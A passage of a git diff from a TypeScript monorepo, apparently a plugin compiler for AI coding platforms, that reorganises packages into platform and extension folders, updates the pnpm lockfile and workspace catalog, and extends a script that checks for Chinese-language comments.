^5.0.0 + version: 5.0.0 devDependencies: - '@acplugin/compiler-claude-code': - specifier: workspace:* - version: link:../compiler-claude-code - '@acplugin/compiler-codex': - specifier: workspace:* - version: link:../compiler-codex '@acplugin/core': specifier: workspace:* version: link:../core + '@acplugin/platform-antigravity': + specifier: workspace:* + version: link:../platforms/antigravity + '@acplugin/platform-claude-code': + specifier: workspace:* + version: link:../platforms/claude-code + '@acplugin/platform-codex': + specifier: workspace:* + version: link:../platforms/codex + '@acplugin/platform-cursor': + specifier: workspace:* + version: link:../platforms/cursor + '@acplugin/platform-opencode': + specifier: workspace:* + version: link:../platforms/opencode + '@acplugin/platform-pi': + specifier: workspace:* + version: link:../platforms/pi '@types/node': specifier: 'catalog:' version: 20.19.43 + '@types/semver': + specifier: ^7.7.1 + version: 7.8.0 + '@types/spdx-expression-parse': + specifier: ^4.0.0 + version: 4.0.0 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 tsdown: specifier: 'catalog:' version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) - typescript: + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/core: + dependencies: + semver: + specifier: ^7.8.5 + version: 7.8.5 + spdx-expression-parse: + specifier: ^5.0.0 + version: 5.0.0 + yaml: + specifier: ^2.9.0 + version: 2.9.0 + devDependencies: + '@types/node': specifier: 'catalog:' - version: 7.0.2 + version: 20.19.43 + '@types/semver': + specifier: ^7.7.1 + version: 7.8.0 + '@types/spdx-expression-parse': + specifier: ^4.0.0 + version: 4.0.0 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 + tsdown: + specifier: 'catalog:' + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) - packages/compiler-claude-code: + packages/extensions/hooks: dependencies: - '@acplugin/core': - specifier: workspace:* - version: link:../core + rolldown: + specifier: 'catalog:' + version: 1.2.2 devDependencies: + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../../acplugin '@types/node': specifier: 'catalog:' version: 20.19.43 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 tsdown: specifier: 'catalog:' version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) - typescript: + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/extensions/mcp: + dependencies: + rolldown: + specifier: 'catalog:' + version: 1.2.2 + devDependencies: + '@tokenroll/acplugin': + specifier: workspace:^ + version: link:../../acplugin + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 + tsdown: specifier: 'catalog:' - version: 7.0.2 + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) - packages/compiler-codex: + packages/platforms/antigravity: dependencies: '@acplugin/core': specifier: workspace:* - version: link:../core + version: link:../../core devDependencies: '@types/node': specifier: 'catalog:' version: 20.19.43 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 tsdown: specifier: 'catalog:' version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) - typescript: + vitest: specifier: 'catalog:' - version: 7.0.2 + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/platforms/claude-code: + dependencies: + '@acplugin/core': + specifier: workspace:* + version: link:../../core + devDependencies: + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 + tsdown: + specifier: 'catalog:' + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) - packages/core: + packages/platforms/codex: dependencies: - semver: - specifier: ^7.8.5 - version: 7.8.5 + '@acplugin/core': + specifier: workspace:* + version: link:../../core + image-size: + specifier: ^2.0.2 + version: 2.0.2 + saxes: + specifier: ^6.0.0 + version: 6.0.0 yaml: specifier: ^2.9.0 version: 2.9.0 @@ -168,90 +279,94 @@ importers: '@types/node': specifier: 'catalog:' version: 20.19.43 - '@types/semver': - specifier: ^7.7.1 - version: 7.8.0 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 tsdown: specifier: 'catalog:' version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) - typescript: - specifier: 'catalog:' - version: 7.0.2 vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) - packages/module-hooks: + packages/platforms/cursor: dependencies: - rolldown: - specifier: 'catalog:' - version: 1.2.2 + '@acplugin/core': + specifier: workspace:* + version: link:../../core devDependencies: - '@tokenroll/acplugin': - specifier: workspace:^ - version: link:../acplugin '@types/node': specifier: 'catalog:' version: 20.19.43 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 tsdown: specifier: 'catalog:' version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) - typescript: - specifier: 'catalog:' - version: 7.0.2 vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) - packages/module-mcp: + packages/platforms/opencode: dependencies: - rolldown: - specifier: 'catalog:' - version: 1.2.2 + '@acplugin/core': + specifier: workspace:* + version: link:../../core devDependencies: - '@tokenroll/acplugin': - specifier: workspace:^ - version: link:../acplugin '@types/node': specifier: 'catalog:' version: 20.19.43 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 tsdown: specifier: 'catalog:' version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) - typescript: + vitest: + specifier: 'catalog:' + version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) + + packages/platforms/pi: + dependencies: + '@acplugin/core': + specifier: workspace:* + version: link:../../core + devDependencies: + '@types/node': + specifier: 'catalog:' + version: 20.19.43 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 + tsdown: specifier: 'catalog:' - version: 7.0.2 + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) packages/test: dependencies: - '@acplugin/compiler-claude-code': - specifier: workspace:* - version: link:../compiler-claude-code - '@acplugin/compiler-codex': - specifier: workspace:* - version: link:../compiler-codex '@acplugin/core': specifier: workspace:* version: link:../core '@tokenroll/acplugin': specifier: workspace:* version: link:../acplugin - '@tokenroll/acplugin-module-hooks': + '@tokenroll/acplugin-extension-hooks': specifier: workspace:* - version: link:../module-hooks - '@tokenroll/acplugin-module-mcp': + version: link:../extensions/hooks + '@tokenroll/acplugin-extension-mcp': specifier: workspace:* - version: link:../module-mcp + version: link:../extensions/mcp devDependencies: '@types/node': specifier: 'catalog:' version: 20.19.43 - typescript: + '@typescript/native': specifier: 'catalog:' - version: 7.0.2 + version: typescript@7.0.2 vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) @@ -986,6 +1101,9 @@ packages: '@types/semver@7.8.0': resolution: {integrity: sha512-1mAINjtQCXXeLkJ9ehXkwOcBpqtLxiVtKhpUf83DdRNdQKV0iXZpaHYqRr7nj+wvxuJzoAmAwXI+sCNMv1CzLQ==} + '@types/spdx-expression-parse@4.0.0': + resolution: {integrity: sha512-odQzy87phelGS4inXOzjmusx4hoCVD0IbxUANxHzVkmTzMRTNnUPoq1urIl7S1qf09KcDWKLFIftPmLtgbsAHA==} + '@typescript-eslint/eslint-plugin@8.66.0': resolution: {integrity: sha512-p088eaGrzYz1s+7cov0aMOCkNGTJlVxF4jgubf28c8L0Cv9Rloj8YBHnv4hXLq6IIEE1AsjNWavO+k+8kP2Y0A==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} @@ -1169,6 +1287,10 @@ packages: cpu: [x64] os: [win32] + '@typescript/typescript6@6.0.2': + resolution: {integrity: sha512-mbCddXd+jm7hfx7w2YU64/Av4/NqqeG3GoRZgxPcgoTxYjhrcfJRw9ULch71SS4G+Q3bOXFhRvPqjguN0Hyp5w==} + hasBin: true + '@vitest/expect@4.1.10': resolution: {integrity: sha512-YsCn+qAk1GWjQOWFEsEcL2gNQ0zmVmQu3T03qP6UyjhtmdtwtbuI+DASn/7iQB3HGTXkdBwGddzxPlmiql5vlA==} @@ -1716,6 +1838,11 @@ packages: resolution: {integrity: sha512-BAg6QkE8W+TuQLrrw0Ugr7HegXduRuuj8/ti2kSOc+jz1dmx8/WNcjr6XGnq5YpDWxFwwaavqD0+jIUOKelTsw==} engines: {node: '>= 4'} + image-size@2.0.2: + resolution: {integrity: sha512-IRqXKlaXwgSMAMtpNzZa1ZAe8m+Sa1770Dhk8VkSsP9LS+iHD62Zd8FQKs8fbPiagBE7BzoFX23cxFnwshpV6w==} + engines: {node: '>=16.x'} + hasBin: true + import-without-cache@0.4.0: resolution: {integrity: sha512-NkJQA7oZ4YHQhd2+H3BoRFKF3d/XNsiKpHZCQEMH9pDX27hQQLsTyOocyRgaIVtf8gHX3Nt3LPkR4e5EdtPAGQ==} engines: {node: ^22.18.0 || >=24.0.0} @@ -2050,6 +2177,10 @@ packages: safer-buffer@2.1.2: resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} + saxes@6.0.0: + resolution: {integrity: sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==} + engines: {node: '>=v12.22.7'} + section-matter@1.0.0: resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==} engines: {node: '>=4'} @@ -2088,6 +2219,15 @@ packages: spawndamnit@3.0.1: resolution: {integrity: sha512-MmnduQUuHCoFckZoWnXsTg7JaiLBJrKFj9UI2MbRPGaJeVpsLcVBu6P/IGZovziM/YBsellCmsprgNA+w0CzVg==} + spdx-exceptions@2.5.0: + resolution: {integrity: sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==} + + spdx-expression-parse@5.0.0: + resolution: {integrity: sha512-vngmw3Rgn+o2arXNbnZaj5UtOEBuWBfvaI+Wc8GFfykIhA5/vdK9/Sp/XkLv63dykz2rxKDvKEHupF5P0FORcQ==} + + spdx-license-ids@3.0.23: + resolution: {integrity: sha512-CWLcCCH7VLu13TgOH+r8p1O/Znwhqv/dbb6lqWy67G+pT1kHmeD/+V36AVb/vq8QMIQwVShJ6Ssl5FPh0fuSdw==} + sprintf-js@1.0.3: resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==} @@ -2335,6 +2475,9 @@ packages: resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} engines: {node: '>=0.10.0'} + xmlchars@2.2.0: + resolution: {integrity: sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==} + yaml@2.9.0: resolution: {integrity: sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==} engines: {node: '>= 14.6'} @@ -2967,40 +3110,42 @@ snapshots: '@types/semver@7.8.0': {} - '@typescript-eslint/eslint-plugin@8.66.0(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': + '@types/spdx-expression-parse@4.0.0': {} + + '@typescript-eslint/eslint-plugin@8.66.0(@typescript-eslint/parser@8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)))(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0))': dependencies: '@eslint-community/regexpp': 4.12.2 - '@typescript-eslint/parser': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/parser': 8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)) '@typescript-eslint/scope-manager': 8.66.0 - '@typescript-eslint/type-utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) - '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/type-utils': 8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)) + '@typescript-eslint/utils': 8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)) '@typescript-eslint/visitor-keys': 8.66.0 eslint: 10.8.0(jiti@2.7.0) ignore: 7.0.6 natural-compare: 1.4.0 - ts-api-utils: 2.5.0(typescript@6.0.3) - typescript: 6.0.3 + ts-api-utils: 2.5.0(@typescript/typescript6@6.0.2) + typescript: '@typescript/typescript6@6.0.2' transitivePeerDependencies: - supports-color - '@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': + '@typescript-eslint/parser@8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0))': dependencies: '@typescript-eslint/scope-manager': 8.66.0 '@typescript-eslint/types': 8.66.0 - '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) + '@typescript-eslint/typescript-estree': 8.66.0(@typescript/typescript6@6.0.2) '@typescript-eslint/visitor-keys': 8.66.0 debug: 4.4.3 eslint: 10.8.0(jiti@2.7.0) - typescript: 6.0.3 + typescript: '@typescript/typescript6@6.0.2' transitivePeerDependencies: - supports-color - '@typescript-eslint/project-service@8.66.0(typescript@6.0.3)': + '@typescript-eslint/project-service@8.66.0(@typescript/typescript6@6.0.2)': dependencies: - '@typescript-eslint/tsconfig-utils': 8.66.0(typescript@6.0.3) + '@typescript-eslint/tsconfig-utils': 8.66.0(@typescript/typescript6@6.0.2) '@typescript-eslint/types': 8.66.0 debug: 4.4.3 - typescript: 6.0.3 + typescript: '@typescript/typescript6@6.0.2' transitivePeerDependencies: - supports-color @@ -3009,19 +3154,19 @@ snapshots: '@typescript-eslint/types': 8.66.0 '@typescript-eslint/visitor-keys': 8.66.0 - '@typescript-eslint/tsconfig-utils@8.66.0(typescript@6.0.3)': + '@typescript-eslint/tsconfig-utils@8.66.0(@typescript/typescript6@6.0.2)': dependencies: - typescript: 6.0.3 + typescript: '@typescript/typescript6@6.0.2' - '@typescript-eslint/type-utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': + '@typescript-eslint/type-utils@8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0))': dependencies: '@typescript-eslint/types': 8.66.0 - '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) - '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/typescript-estree': 8.66.0(@typescript/typescript6@6.0.2) + '@typescript-eslint/utils': 8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)) debug: 4.4.3 eslint: 10.8.0(jiti@2.7.0) - ts-api-utils: 2.5.0(typescript@6.0.3) - typescript: 6.0.3 + ts-api-utils: 2.5.0(@typescript/typescript6@6.0.2) + typescript: '@typescript/typescript6@6.0.2' transitivePeerDependencies: - supports-color @@ -3029,29 +3174,29 @@ snapshots: '@typescript-eslint/types@8.66.0': {} - '@typescript-eslint/typescript-estree@8.66.0(typescript@6.0.3)': + '@typescript-eslint/typescript-estree@8.66.0(@typescript/typescript6@6.0.2)': dependencies: - '@typescript-eslint/project-service': 8.66.0(typescript@6.0.3) - '@typescript-eslint/tsconfig-utils': 8.66.0(typescript@6.0.3) + '@typescript-eslint/project-service': 8.66.0(@typescript/typescript6@6.0.2) + '@typescript-eslint/tsconfig-utils': 8.66.0(@typescript/typescript6@6.0.2) '@typescript-eslint/types': 8.66.0 '@typescript-eslint/visitor-keys': 8.66.0 debug: 4.4.3 minimatch: 10.2.6 semver: 7.8.5 tinyglobby: 0.2.17 - ts-api-utils: 2.5.0(typescript@6.0.3) - typescript: 6.0.3 + ts-api-utils: 2.5.0(@typescript/typescript6@6.0.2) + typescript: '@typescript/typescript6@6.0.2' transitivePeerDependencies: - supports-color - '@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': + '@typescript-eslint/utils@8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0))': dependencies: '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) '@typescript-eslint/scope-manager': 8.66.0 '@typescript-eslint/types': 8.66.0 - '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) + '@typescript-eslint/typescript-estree': 8.66.0(@typescript/typescript6@6.0.2) eslint: 10.8.0(jiti@2.7.0) - typescript: 6.0.3 + typescript: '@typescript/typescript6@6.0.2' transitivePeerDependencies: - supports-color @@ -3120,6 +3265,10 @@ snapshots: '@typescript/typescript-win32-x64@7.0.2': optional: true + '@typescript/typescript6@6.0.2': + dependencies: + '@typescript/old': typescript@6.0.3 + '@vitest/expect@4.1.10': dependencies: '@standard-schema/spec': 1.1.0 @@ -3616,6 +3765,8 @@ snapshots: ignore@7.0.6: {} + image-size@2.0.2: {} + import-without-cache@0.4.0: {} imurmurhash@0.1.4: {} @@ -3861,7 +4012,7 @@ snapshots: reusify@1.1.0: {} - rolldown-plugin-dts@0.27.14(rolldown@1.2.2)(typescript@6.0.3): + rolldown-plugin-dts@0.27.14(@typescript/typescript6@6.0.2)(rolldown@1.2.2): dependencies: dts-resolver: 3.0.0 get-tsconfig: 5.0.0-beta.5 @@ -3871,7 +4022,7 @@ snapshots: yuku-codegen: 0.8.3 yuku-parser: 0.8.3 optionalDependencies: - typescript: 6.0.3 + typescript: '@typescript/typescript6@6.0.2' transitivePeerDependencies: - oxc-resolver @@ -3952,6 +4103,10 @@ snapshots: safer-buffer@2.1.2: {} + saxes@6.0.0: + dependencies: + xmlchars: 2.2.0 + section-matter@1.0.0: dependencies: extend-shallow: 2.0.1 @@ -3980,6 +4135,15 @@ snapshots: cross-spawn: 7.0.6 signal-exit: 4.1.0 + spdx-exceptions@2.5.0: {} + + spdx-expression-parse@5.0.0: + dependencies: + spdx-exceptions: 2.5.0 + spdx-license-ids: 3.0.23 + + spdx-license-ids@3.0.23: {} + sprintf-js@1.0.3: {} stackback@0.0.2: {} @@ -4023,11 +4187,11 @@ snapshots: tree-kill@1.2.2: {} - ts-api-utils@2.5.0(typescript@6.0.3): + ts-api-utils@2.5.0(@typescript/typescript6@6.0.2): dependencies: - typescript: 6.0.3 + typescript: '@typescript/typescript6@6.0.2' - tsdown@0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@6.0.3): + tsdown@0.22.14(@arethetypeswrong/core@0.18.5)(@typescript/typescript6@6.0.2)(publint@0.3.23): dependencies: ansis: 4.3.1 cac: 7.0.0 @@ -4038,7 +4202,7 @@ snapshots: obug: 2.1.4 picomatch: 4.0.5 rolldown: 1.2.2 - rolldown-plugin-dts: 0.27.14(rolldown@1.2.2)(typescript@6.0.3) + rolldown-plugin-dts: 0.27.14(@typescript/typescript6@6.0.2)(rolldown@1.2.2) tinyexec: 1.2.4 tinyglobby: 0.2.17 tree-kill: 1.2.2 @@ -4047,7 +4211,7 @@ snapshots: optionalDependencies: '@arethetypeswrong/core': 0.18.5 publint: 0.3.23 - typescript: 6.0.3 + typescript: '@typescript/typescript6@6.0.2' transitivePeerDependencies: - '@typescript/native-preview' - '@volar/typescript' @@ -4085,14 +4249,14 @@ snapshots: dependencies: prelude-ls: 1.2.1 - typescript-eslint@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3): + typescript-eslint@8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)): dependencies: - '@typescript-eslint/eslint-plugin': 8.66.0(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) - '@typescript-eslint/parser': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) - '@typescript-eslint/typescript-estree': 8.66.0(typescript@6.0.3) - '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/eslint-plugin': 8.66.0(@typescript-eslint/parser@8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)))(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)) + '@typescript-eslint/parser': 8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)) + '@typescript-eslint/typescript-estree': 8.66.0(@typescript/typescript6@6.0.2) + '@typescript-eslint/utils': 8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)) eslint: 10.8.0(jiti@2.7.0) - typescript: 6.0.3 + typescript: '@typescript/typescript6@6.0.2' transitivePeerDependencies: - supports-color @@ -4198,6 +4362,8 @@ snapshots: word-wrap@1.2.5: {} + xmlchars@2.2.0: {} + yaml@2.9.0: {} yocto-queue@0.1.0: {} diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index 53ca119..0459879 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -1,14 +1,16 @@ packages: - packages/* + - packages/platforms/* + - packages/extensions/* catalog: + '@typescript/native': npm:typescript@^7.0.2 '@types/node': ^20.19.0 rolldown: ^1.2.2 tsdown: ^0.22.14 - typescript: ^7.0.2 vitest: ^4.1.10 -catalogMode: strict +catalogMode: manual cleanupUnusedCatalogs: true linkWorkspacePackages: false saveWorkspaceProtocol: rolling diff --git a/scripts/check-comments.mjs b/scripts/check-comments.mjs index f7ee4cc..c0bb58d 100644 --- a/scripts/check-comments.mjs +++ b/scripts/check-comments.mjs @@ -39,6 +39,23 @@ function leadingComment(source, node) { return ranges.map(range => text.slice(range.pos, range.end)).join('\n'); } +/** + * 读取声明绑定之前可见的中文说明,并兼容 `catch` 关键字后的绑定注释。 + * + * @param source 当前文件对应的 TypeScript 语法树。 + * @param node 需要检查说明的声明节点。 + * @returns 声明前或 catch 异常绑定前的注释文本。 + */ +function declarationComment(source, node) { + /** 普通声明直接使用与节点相邻的前置注释。 */ + const leading = leadingComment(source, node); + if (!ts.isCatchClause(node) || node.variableDeclaration === undefined) + return leading; + /** catch 关键字与异常变量之间允许放置的绑定专属注释。 */ + const bindingPrefix = source.getFullText().slice(node.getStart(source), node.variableDeclaration.getStart(source)); + return `${leading}\n${bindingPrefix}`; +} + /** * 返回便于诊断的声明名称,匿名声明使用语法类型代替。 * @@ -56,13 +73,24 @@ function declarationName(node) { } /** - * 判断变量语句是否位于模块顶层。 + * 判断节点是否为需要中文解释的普通变量语句。 * * @param node 待检查的变量语句。 - * @returns 位于 SourceFile 直接子级时返回 true。 + * @returns 任何函数体或模块中的 VariableStatement 都返回 true。 + */ +function isVariableStatement(node) { + return ts.isVariableStatement(node); +} + +/** + * 判断对象属性是否使用箭头函数或函数表达式定义可调用方法。 + * + * @param node 待检查的对象属性节点。 + * @returns 属性值是 ArrowFunction 或 FunctionExpression 时返回 true。 */ -function isModuleVariable(node) { - return ts.isVariableStatement(node) && ts.isSourceFile(node.parent); +function isObjectFunctionProperty(node) { + return ts.isPropertyAssignment(node) + && (ts.isArrowFunction(node.initializer) || ts.isFunctionExpression(node.initializer)); } /** @@ -86,8 +114,10 @@ function missingComments(file) { */ function visit(node) { /** 标记节点是否属于需要中文前置注释的声明范围。 */ - const required = DECLARATION_KINDS.has(node.kind) || isModuleVariable(node); - if (required && !CHINESE_PATTERN.test(leadingComment(source, node))) { + const required = DECLARATION_KINDS.has(node.kind) + || isVariableStatement(node) + || isObjectFunctionProperty(node); + if (required && !CHINESE_PATTERN.test(declarationComment(source, node))) { /** TypeScript 使用零基行列,需要转换为面向用户的一基行号。 */ const line = source.getLineAndCharacterOfPosition(node.getStart(source)).line + 1; missing.push(`${file}:${line} ${declarationName(node)}`); diff --git a/scripts/comment-coverage.json b/scripts/comment-coverage.json index c65839e..f9538fb 100644 --- a/scripts/comment-coverage.json +++ b/scripts/comment-coverage.json @@ -11,35 +11,125 @@ "packages/acplugin/src/migration/legacy/types.ts", "packages/acplugin/src/migration/legacy/utils/frontmatter.ts", "packages/acplugin/src/migration/legacy/utils/fs.ts", + "packages/acplugin/src/platforms/antigravity.ts", + "packages/acplugin/src/platforms/claude-code.ts", + "packages/acplugin/src/platforms/codex.ts", + "packages/acplugin/src/platforms/cursor.ts", + "packages/acplugin/src/platforms/opencode.ts", + "packages/acplugin/src/platforms/pi.ts", + "packages/acplugin/src/project-config.ts", + "packages/acplugin/src/run-project.ts", + "packages/acplugin/test/config-loader.test.ts", "packages/acplugin/tsdown.config.ts", - "packages/compiler-claude-code/src/index.ts", - "packages/compiler-claude-code/tsdown.config.ts", - "packages/compiler-codex/src/index.ts", - "packages/compiler-codex/tsdown.config.ts", "packages/core/src/artifacts.ts", - "packages/core/src/builder.ts", "packages/core/src/config.ts", + "packages/core/src/contracts.ts", "packages/core/src/diagnostics.ts", - "packages/core/src/extensions.ts", + "packages/core/src/delivery-units.ts", + "packages/core/src/documents.ts", "packages/core/src/index.ts", + "packages/core/src/lifecycle.ts", + "packages/core/src/output-paths.ts", + "packages/core/src/reports.ts", "packages/core/src/scanner.ts", "packages/core/src/serialization.ts", "packages/core/src/transaction.ts", "packages/core/src/types.ts", "packages/core/test/core.test.ts", + "packages/core/test/artifacts.test.ts", + "packages/core/test/contracts.test.ts", + "packages/core/test/contracts.types.ts", + "packages/core/test/compatibility.test.ts", + "packages/core/test/config.test.ts", + "packages/core/test/delivery-units.test.ts", + "packages/core/test/diagnostics.test.ts", + "packages/core/test/documents.test.ts", + "packages/core/test/graph.test.ts", + "packages/core/test/lifecycle.test.ts", + "packages/core/test/locking.test.ts", + "packages/core/test/scanner.test.ts", + "packages/core/test/transaction.test.ts", "packages/core/tsdown.config.ts", - "packages/module-hooks/src/index.ts", - "packages/module-hooks/tsdown.config.ts", - "packages/module-mcp/src/index.ts", - "packages/module-mcp/tsdown.config.ts", + "packages/test/test/architecture.test.ts", "packages/test/test/build.test.ts", "packages/test/test/cli.test.ts", + "packages/test/test/claude-code.test.ts", + "packages/test/test/codex.test.ts", + "packages/test/test/ecosystem-contract.test.ts", + "packages/test/test/extension-api.types.ts", + "packages/test/test/hooks.test.ts", "packages/test/test/init.test.ts", + "packages/test/test/legacy-api.types.ts", "packages/test/test/migration.test.ts", - "packages/test/test/modules.test.ts", + "packages/test/test/secondary-platforms.test.ts", + "packages/test/test/package-boundaries.test.ts", + "packages/test/test/public-api.types.ts", "packages/test/test/repository.test.ts", "packages/test/test/workspace.test.ts", + "packages/test/test/workspace-layout.test.ts", "packages/test/vitest.config.ts", + "packages/platforms/claude-code/src/index.ts", + "packages/platforms/claude-code/src/types.ts", + "packages/platforms/claude-code/src/components.ts", + "packages/platforms/claude-code/src/manifest.ts", + "packages/platforms/claude-code/src/validator.ts", + "packages/platforms/claude-code/test/platform.test.ts", + "packages/platforms/claude-code/tsdown.config.ts", + "packages/platforms/codex/src/index.ts", + "packages/platforms/codex/src/types.ts", + "packages/platforms/codex/src/protocol.ts", + "packages/platforms/codex/src/components.ts", + "packages/platforms/codex/src/manifest.ts", + "packages/platforms/codex/src/validator.ts", + "packages/platforms/codex/test/platform.test.ts", + "packages/platforms/codex/tsdown.config.ts", + "packages/platforms/cursor/src/index.ts", + "packages/platforms/cursor/src/components.ts", + "packages/platforms/cursor/src/manifest.ts", + "packages/platforms/cursor/src/types.ts", + "packages/platforms/cursor/src/validator.ts", + "packages/platforms/cursor/test/platform.test.ts", + "packages/platforms/cursor/tsdown.config.ts", + "packages/platforms/antigravity/src/index.ts", + "packages/platforms/antigravity/src/components.ts", + "packages/platforms/antigravity/src/manifest.ts", + "packages/platforms/antigravity/src/validator.ts", + "packages/platforms/antigravity/test/platform.test.ts", + 